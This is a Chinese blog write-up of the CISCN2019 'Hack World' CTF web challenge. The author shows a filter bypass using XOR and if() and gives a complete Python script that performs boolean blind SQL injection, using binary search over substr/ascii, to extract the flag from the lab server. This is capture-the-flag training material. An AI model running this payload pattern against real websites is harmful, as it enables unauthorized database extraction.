[CISCN2019 华北赛区 Day2 Web1]Hack World

[CISCN2019 华北赛区 Day2 Web1]Hack World

  • 这道题的考点貌似是sql盲注还是第一次遇到这种类型,表示太难了。。

  • 主界面

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Gigi07aI-1617337801768)([CISCN2019 华北赛区 Day2 Web1]Hack World.assets/1.png)]

  • 它的意思是让我们给出文章的id,那我们就输入一试试。

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IKQM1FIr-1617337801770)([CISCN2019 华北赛区 Day2 Web1]Hack World.assets/2.png)]

  • 有回显,出题人想要一个girlfriend。对此,我只想说,想peach。然后我们再输入2试试。

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HQUwyxJl-1617337801771)([CISCN2019 华北赛区 Day2 Web1]Hack World.assets/3.png)]

  • 对这个回显,我怀疑出题人妄想症犯了。之后我们再输入3试试。

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dzZ4XJm7-1617337801773)([CISCN2019 华北赛区 Day2 Web1]Hack World.assets/4.png)]

  • 发生了错误,我们再输入万能密码试试。

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zH2FffVK-1617337801774)([CISCN2019 华北赛区 Day2 Web1]Hack World.assets/5.png)]

  • 好吧,它检测到sql注入了,以我目前的知识,我已经手足无措了,在网上查阅资料后,发现可以有两个新姿势。if(1=1,1,2)0^1。if很简单,就是类似三目运算符1==1?1:2,而这个01是什么意思呢?其实这个符号在mysql里是亦或的作用,所以01最后的结果是1。我们可以都试一试。

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jBodCmMl-1617337801775)([CISCN2019 华北赛区 Day2 Web1]Hack World.assets/6.png)]

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SG0500vS-1617337801776)([CISCN2019 华北赛区 Day2 Web1]Hack World.assets/7.png)]

  • 在最后的payload里用这两种方法都是可以的。那具体的payload要怎么写呢?我们发现正常的回显只有两种情况,我们是不可能让回显直接出flag的,所以这种情况应该属于盲注。直接上脚本吧。

    import requests
    import time
    import re
    url='http://04d17768-be6a-45cd-9587-3b8faf1a8506.node3.buuoj.cn/index.php'
    flag = ''
    for i in range(1,43):
        max = 127
        min = 0
        for c in range(0,127):
            s = (int)((max+min)/2)
            payload = '0^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'
            r = requests.post(url,data = {'id':payload})
            time.sleep(0.005)
            if 'Hello, glzjin wants a girlfriend.' in str(r.content):
                min=s
            else:
                max=s
            if((max-min)<=1):
                flag+=chr(max)
                print(flag)
                break
    
  • 我们可以看到for i in range(1,43) 为什么是43呢?因为动态flag的长度是42位,又因为python里的range右界是小括号,所以42要再+1。看到这,是不是明白点什么呢?我们要把flag一位一位猜出来!用的方法就是这个。

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-llXKVjNA-1617337801777)([CISCN2019 华北赛区 Day2 Web1]Hack World.assets/8.png)]

  • 我们把flag的每一位用substr取出来,然后用ascii和某个字符比较(用的是二分查找)最后max 和 min差1的时候就说明max为正确的字符(具体也不太清楚为什么不是max和min相等的时候)。然后要注意题目貌似过滤了空格,所以要善用括号来分割。然后每次请求不能太快,不然平台反应不过来,所以每次需要sleep一段时间。

  • 最后运行python文件,flag一位一位被爆破出来的感觉简直爽翻了!

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mAbF0G9i-1617337801778)([CISCN2019 华北赛区 Day2 Web1]Hack World.assets/9.png)]


    参考链接

    CISCN2019 华北赛区 Day2 Web1]Hack World_题解_风过江南乱的博客-CSDN博客

    CISCN2019 华北赛区 Day2 Web1]Hack World_沫忆末忆的博客-CSDN博客

  • 8
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 5
    评论
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值